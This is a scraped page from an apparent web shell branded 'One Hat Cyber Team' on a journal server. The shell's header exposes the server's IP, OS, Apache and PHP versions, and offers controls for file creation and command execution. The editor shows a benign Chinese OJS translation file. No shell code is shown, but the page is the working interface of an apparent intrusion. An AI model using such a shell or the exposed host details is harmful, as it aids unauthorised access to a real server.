One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ojs-nosc
/
locale
/
zh_Hans
/
Edit File:
submission.po
# Huang Feilong <hfl@nominsang.org>, 2021. # wenshao521! <wainixueer3334@gmail.com>, 2025. msgid "" msgstr "" "PO-Revision-Date: 2025-05-15 10:57+0000\n" "Last-Translator: wenshao521! <wainixueer3334@gmail.com>\n" "Language-Team: Chinese (Simplified) <http://translate.pkp.sfu.ca/projects/" "ojs/submission/zh_Hans/>\n" "Language: zh_Hans\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: Weblate 4.18.2\n" msgid "submission.submit.userGroup" msgstr "以下列角色提交……" msgid "submission.upload.selectComponent" msgstr "选择文章组件" msgid "submission.title" msgstr "文章标题" msgid "submission.title.tip" msgstr "" "稿件类型通常会是“图像”、“文本”或者其他诸如“软件”或者“交互式视频”等。请选择跟" "您的稿件最贴近的类型。更多类型可参考<a target=\"_blank\" href=\"http://" "dublincore.org/documents/2001/04/12/usageguide/generic.shtml#type\">http://" "dublincore.org/documents/2001/04/12/usageguide/generic.shtml#type</a>" msgid "submission.submit.newSubmissionMultiple" msgstr "开始一次新的提交" msgid "submission.submit.newSubmissionSingle" msgstr "新稿件" msgid "grid.action.workflow" msgstr "稿件工作流" msgid "submission.abstract.wordCount.description" msgstr "摘要不得超过 {$wordCount} 个字。" msgid "submission.submit.noContext" msgstr "找不到此投稿的期刊。" msgid "submission.issueEntry" msgstr "元数据" msgid "submission.submit.whatNext.description" msgstr "" "该期刊已收到您提交的稿件通知,并且已通过电子邮件发送确认。 编辑审核完提交的内" "容后,他们将与您联系。" msgid "grid.action.galleyInIssueEntry" msgstr "当期文章校样" msgid "grid.action.issueEntry" msgstr "查看稿件元数据" msgid "submission.event.articleGalleyMadeAvailable" msgstr "稿件文章 \"{$galleyFormatName}\" 校样生成。" msgid "submission.event.articleGalleyMadeUnavailable" msgstr "稿件文章 \"{$galleyFormatName}\" 校样未生成。" msgid "submission.event.publicIdentifiers" msgstr "稿件的公开标识符已更新。" msgid "grid.issueEntry.availableGalley.title" msgstr "格式合格" msgid "grid.issueEntry.availableGalley.removeMessage" msgstr "<p>此校样对读者 <em>不可用</em>。</p>" msgid "grid.issueEntry.availableGalley.message" msgstr "<p>此校样读者 <em>可用</em>。</p>" msgid "grid.action.availableArticleGalley" msgstr "启用此校样" msgid "submission.galleyFiles" msgstr "校样文件" msgid "submission.proofReadingDescription" msgstr "" "美工编辑上传了准备发布时用的校样文件。请通过<em>分配任务</em>提醒作者和其他人" "对校样进行最后审核校对,如有修改,清在发布之前上传更正的文件。" msgid "grid.action.approveProof" msgstr "批准此用于校样的文件。" msgid "grid.action.pageProofApproved" msgstr "此校样文件已批准。" msgid "submission.submit.titleAndSummary" msgstr "标题和摘要" msgid "submission.submit.upload.description" msgstr "上传跟稿件相关的文件,包括文章原文、多媒体、数据集、艺术插图等等。" msgid "submission.pageProofs" msgstr "校对" msgid "workflow.review.externalReview" msgstr "审核" msgid "submission.event.issueMetadataUpdated" msgstr "稿件的期刊元数据已更新。" msgid "submission.upload.fileContents" msgstr "文章组成" msgid "submission.complete" msgstr "已批准" msgid "submission.incomplete" msgstr "等待批复中" msgid "submission.submit.submissionChecklist" msgstr "提交清单" msgid "submission.submit.privacyStatement" msgstr "隐私声明" msgid "submission.submit.contributorRole" msgstr "合作者" msgid "submission.citationFormat.notFound" msgstr "请求的引用格式无法进行检索。" msgid "submission.metadataDescription" msgstr "这些规范基于都柏林核心元数据集(一种用于描述期刊内容的国际标准)。" msgid "section.any" msgstr "任意栏目" msgid "submission.sectionOptions" msgstr "栏目选项" msgid "catalog.browseTitles" msgstr "{$numTitles} 项" msgid "catalog.category.heading" msgstr "所有项" msgid "galley.editPublishedDisabled" msgstr "此出版物已出版,所以校样已不能编辑。" msgid "galley.publicationNotFound" msgstr "未发现此校样的正式出版物。" msgid "publication.assignToissue" msgstr "分配期次" msgid "publication.assignedToIssue" msgstr "" "此文章已分配给<a href=\"{$issueUrl}\">{$issueName}</a>,但是尚未安排发布。" msgid "publication.changeIssue" msgstr "更换期次" msgid "publication.datePublished.description" msgstr "" "出版日期会在期刊发行时自动设定。除非文章以前发表过或者在做回溯数据,否则不要" "人为设定。" msgid "publication.invalidSection" msgstr "未发现出版物的栏目。" msgid "publication.inactiveSection" msgstr "{$section}(不活跃)" msgid "publication.invalidIssue" msgstr "未发现出版物的期次。" msgid "publication.publish.confirmation" msgstr "已符合所有发布标准。您要发布吗?" msgid "publication.publish.confirmation.futureIssue" msgstr "已符合所有发布标准。这将在{$ issue}发布。您确定要发布吗?" msgid "publication.publish.confirmation.backIssue" msgstr "已符合所有发布标准。将发布在{$ issue}。您确定要发布吗?" msgid "publication.publish.confirmation.datePublishedInPast" msgstr "" "已符合所有发布标准。本文将发布在{$ datePublished}的期刊。您确定要发布吗?" msgid "publication.required.issue" msgstr "在发布之前,必须先将该文章分配一个期次。" msgid "publication.publishedIn" msgstr "发布在 <a href=\"{$issueUrl}\">{$issueName}</a>。" msgid "publication.scheduledIn" msgstr "安排于 <a href=\"{$issueUrl}\">{$issueName}</a> 。" msgid "publication.unscheduledIn" msgstr "尚未计划将其发布在某一期中。" msgid "publication.selectIssue" msgstr "选择一个期次安排出版" msgid "submission.publication" msgstr "出版物" msgid "publication.status.published" msgstr "已出版" msgid "submission.status.scheduled" msgstr "已计划" msgid "publication.status.unscheduled" msgstr "未计划" msgid "submission.publications" msgstr "出版物" msgid "publication.copyrightYearBasis.issueDescription" msgstr "在某个期次发布后,它的版权年份将自动设置。" msgid "publication.copyrightYearBasis.submissionDescription" msgstr "版权年份将根据发布日期自动设置。" msgid "publication.datePublished" msgstr "发布日期" msgid "publication.editDisabled" msgstr "此版本已发布,无法编辑。" msgid "publication.event.published" msgstr "该稿件已发布。" msgid "publication.event.scheduled" msgstr "稿件已安排出版。" msgid "publication.event.unpublished" msgstr "稿件尚未出版。" msgid "publication.event.versionPublished" msgstr "新的版本已出版。" msgid "publication.event.versionScheduled" msgstr "新的版本已计划出版。" msgid "publication.event.versionUnpublished" msgstr "版本已从出版物中删除。" msgid "publication.invalidSubmission" msgstr "找不到此出版物的稿件。" msgid "publication.publish" msgstr "出版" msgid "publication.publish.requirements" msgstr "在出版之前,必须满足以下标准。" msgid "publication.required.declined" msgstr "被退稿的稿件无法出版。" msgid "publication.required.reviewStage" msgstr "稿件必须处于文本编辑或出版阶段才能出版。" msgid "submission.license.description" msgstr "" "许可证在文章发表后将被自动设置为 <a href='{$licenseUrl}' " "target='_blank'>{$licenseName}</a>。" msgid "submission.copyrightHolder.description" msgstr "版权将在期刊出版后自动设定为{$copyright}。" msgid "submission.copyrightOther.description" msgstr "已将发表文章的版权分配给以下各方。" msgid "publication.unpublish" msgstr "取消出版" msgid "publication.unpublish.confirm" msgstr "您确定不希望出版此内容吗?" msgid "publication.unschedule.confirm" msgstr "您确定不希望此计划出版吗?" msgid "publication.version.details" msgstr "出版物版本{$version}" msgid "submission.queries.production" msgstr "出版讨论" msgid "editor.submission.decision.backToReview" msgstr "返回审稿" msgid "editor.submission.decision.backToReview.description" msgstr "撤回接受该提交的决定,并将其送回审稿阶段。" msgid "editor.submission.decision.backToReview.log" msgstr "{$editorName} 撤回了接受该提交的决定,并将其送回审稿阶段。" msgid "editor.submission.decision.backToReview.completed" msgstr "送回审稿" msgid "editor.submission.decision.backToReview.completed.description" msgstr "提交的稿件 {$title} 被送回审稿阶段。" msgid "editor.submission.decision.backToReview.notifyAuthorsDescription" msgstr "向作者发送电子邮件,告知他们其提交稿件已被送回审稿阶段。解释做出此决定的原因" ",并告知作者将进行的进一步审稿工作。" msgid "editor.submission.decision.sendExternalReview.notifyAuthorsDescription" msgstr "" "向作者发送电子邮件,告知他们该提交稿件将送交同行评审。如果可能,给作者一些关" "于同行评审过程可能需要多长时间的提示,并告知他们何时可以期待再次收到编辑的回" "复。此电子邮件将在决定被记录后才会发送。" msgid "editor.submission.decision.promoteFiles.externalReview" msgstr "选择应发送至审稿阶段的文件。" msgid "doi.submission.issueMissing.publication" msgstr "无法为以下提交稿件创建 DOI: " "{$pubObjectTitle}。必须先将提交稿件分配到某一期刊期次,才能生成 DOI。" msgid "doi.submission.issueMissing.representation" msgstr "" "无法为以下提交稿件 {$itemTitle} 的 {$pubObjectTitle} 排版稿创建 " "DOI。必须先将提交稿件分配到某一期刊期次,才能生成 DOI。" msgid "doi.submission.incorrectContext" msgstr "无法为以下提交稿件创建 DOI: " "{$pubObjectTitle}。该稿件在当前期刊上下文中不存在。" msgid "submission.layout.viewGalley" msgstr "查看排版稿" msgid "galley.cantEditPublished" msgstr "该排版稿已发布,无法编辑。" msgid "submission.copyright.description" msgstr "请阅读并理解本期刊提交稿件的版权条款。" msgid "submission.wizard.notAllowed.description" msgstr "" "您无权向本期刊提交稿件,因为作者必须由编辑部注册。如您认为这是错误,请联系 " "<a href='mailto:{$email}'>{$name}</a>。" msgid "submission.wizard.noSectionAllowed.description" msgstr "" "您无权向本期刊提交稿件,因为本期刊所有栏目已被禁用或限制提交。如您认为这是错" "误,请联系 <a href='mailto:{$email}'>{$name}</a>。" msgid "submission.wizard.sectionClosed.message" msgstr "" "{$contextName} 不接受 {$section} 栏目的稿件提交。如需帮助恢复您的提交," "请联系 <a href='mailto:{$email}'>{$name}</a>。" msgid "submission.sectionNotFound" msgstr "未找到该提交对应的栏目。" msgid "submission.sectionRestrictedToEditors" msgstr "仅允许编辑部人员向此栏目提交稿件。" msgid "submission.submit.form.authorRequired" msgstr "至少要有一位作者。" msgid "submission.submit.form.titleRequired" msgstr "请填写文章题目。" msgid "submission.submit.form.abstractRequired" msgstr "请填写文章摘要。" msgid "submission.submit.form.wordCountAlert" msgstr "您的摘要太长了。请按照要求作必要删减。" msgid "submission.submit.form.contributorRoleRequired" msgstr "选择合作者的角色。" #~ msgid "publication.issue.success" #~ msgstr "出版物的期次细节已更新。" #~ msgid "editor.submission.decision.sendExternalReview" #~ msgstr "送审"
Simpan